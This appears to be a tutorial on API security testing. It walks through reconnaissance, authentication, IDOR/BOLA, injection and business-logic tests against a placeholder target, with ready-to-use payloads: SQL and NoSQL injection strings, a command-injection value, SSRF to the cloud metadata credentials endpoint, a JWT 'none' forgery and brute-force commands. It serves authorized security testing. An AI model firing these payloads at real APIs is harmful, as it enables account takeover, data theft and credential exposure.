API Security Testing: The Complete Guide for 2026

APIs are the nervous system of modern applications. Every mobile app, every SaaS product, every microservices architecture communicates through APIs — and most of them have security flaws waiting to be found. The OWASP API Security Top 10 has its own separate list from the web application top 10 for good reason: API vulnerabilities are distinct, prevalent, and often devastating. This guide walks through a complete API security testing methodology.

Setting Up Your API Testing Toolkit

# Burp Suite (Community free or Pro) — intercept, replay, modify requests
# Postman — send crafted API requests, save collections
# HTTPie — simple CLI tool for API testing
pip install httpie
http GET https://api.target.com/users Authorization:"Bearer TOKEN"

# ffuf — fast fuzzing for endpoint discovery
ffuf -u https://api.target.com/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt

# kiterunner — context-aware API endpoint bruteforcing
kr scan https://api.target.com -w routes-large.kite

# Nuclei — automated vulnerability scanning with API templates
nuclei -u https://api.target.com -t nuclei-templates/exposures/apis/

Phase 1: Reconnaissance — Finding the API Surface

# Check for API documentation (often left public accidentally)
https://api.target.com/swagger.json
https://api.target.com/openapi.yaml
https://api.target.com/docs
https://api.target.com/api-docs
https://api.target.com/redoc

# Find exposed API specs via Google dorking:
site:target.com filetype:yaml "openapi"
site:target.com "swagger-ui"
site:github.com "target.com" "api_key"

# Crawl JavaScript files for API endpoints:
# Browse the web app — JavaScript bundles contain all API calls
# Use LinkFinder or JSParser:
python3 linkfinder.py -i https://target.com/app.js -o cli

Phase 2: Authentication Testing

# Test 1: Unauthenticated access — remove auth token completely
http GET https://api.target.com/admin/users  # No auth header
# If it returns data — broken authentication

# Test 2: JWT token manipulation
# Decode JWT at jwt.io (it's base64):
echo "eyJhbGci..." | cut -d. -f2 | base64 -d
# Try "none" algorithm attack:
# Change {"alg":"RS256"} to {"alg":"none"}, remove signature
# If the API accepts it — critical vulnerability

# Test 3: API key brute force (when keys are short/predictable)
ffuf -u https://api.target.com/v1/data -H "X-API-Key: FUZZ" -w api_keys.txt

# Test 4: Mass login without rate limiting
# Send 100 login requests in parallel — does the API block you?
# If not: brute force attack is possible

Phase 3: Authorization — IDOR and BOLA Testing

Broken Object Level Authorization (BOLA/IDOR) is consistently the #1 API vulnerability. The attack: use your authenticated session to access objects belonging to other users by manipulating IDs.

# Step 1: Create two accounts (User A and User B)
# Step 2: As User A, create a resource (post, order, document)
# Note the ID returned: {"order_id": "ORD-12345"}
# Step 3: As User B, try to access User A's resource:
http GET https://api.target.com/orders/ORD-12345 Authorization:"Bearer USER_B_TOKEN"
# If it returns User A's data — BOLA vulnerability found

# Automate IDOR testing with Burp Suite Intruder:
# Set the ID parameter as a fuzz point
# Use a sequence from 1000 to 2000
# Filter responses by length — different length = likely found data

# Also test UUIDs — try replacing with other UUIDs you discover
# Try: sequential numbers, email-based IDs, predictable slugs

Phase 4: Input Validation and Injection

# SQL injection in API parameters:
http POST https://api.target.com/search q=="' OR '1'='1"
http POST https://api.target.com/search q=="1 UNION SELECT username,password FROM users--"

# NoSQL injection (MongoDB):
# Traditional SQLi won't work — try NoSQL operators:
{"username": {"$gt": ""}, "password": {"$gt": ""}}
# This matches all users where username > "" — bypasses authentication

# Command injection:
http POST https://api.target.com/ping host=="127.0.0.1;id"
# If response includes "uid=33(www-data)" — RCE found

# SSRF — make the server request internal resources:
http POST https://api.target.com/fetch url=="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# AWS metadata endpoint — can expose cloud credentials

Phase 5: Business Logic Testing

# Rate limiting bypass — skip limits by rotating headers:
# X-Forwarded-For: 1.1.1.1 → change to 1.1.1.2, 1.1.1.3 per request

# Negative number / large number attacks:
{"quantity": -1}   # buy items and get money back
{"quantity": 99999999}  # overflow the price calculation

# Parameter pollution:
# Does /users?role=user&role=admin give admin access?

# Mass assignment — adding undocumented fields:
POST /api/register
{"username":"test","password":"test","role":"admin","is_verified":true}
# Does the server accept "role" or "is_verified" and apply them?

Documenting Your Findings

A good API security report includes: the endpoint affected, the HTTP request that demonstrates the vulnerability (with sensitive data redacted), the actual API response showing the impact, a CVSS score, and a clear remediation recommendation. For BOLA/IDOR findings, always demonstrate that you can access another user’s data with the request from a different account — this proves the authorization gap definitively.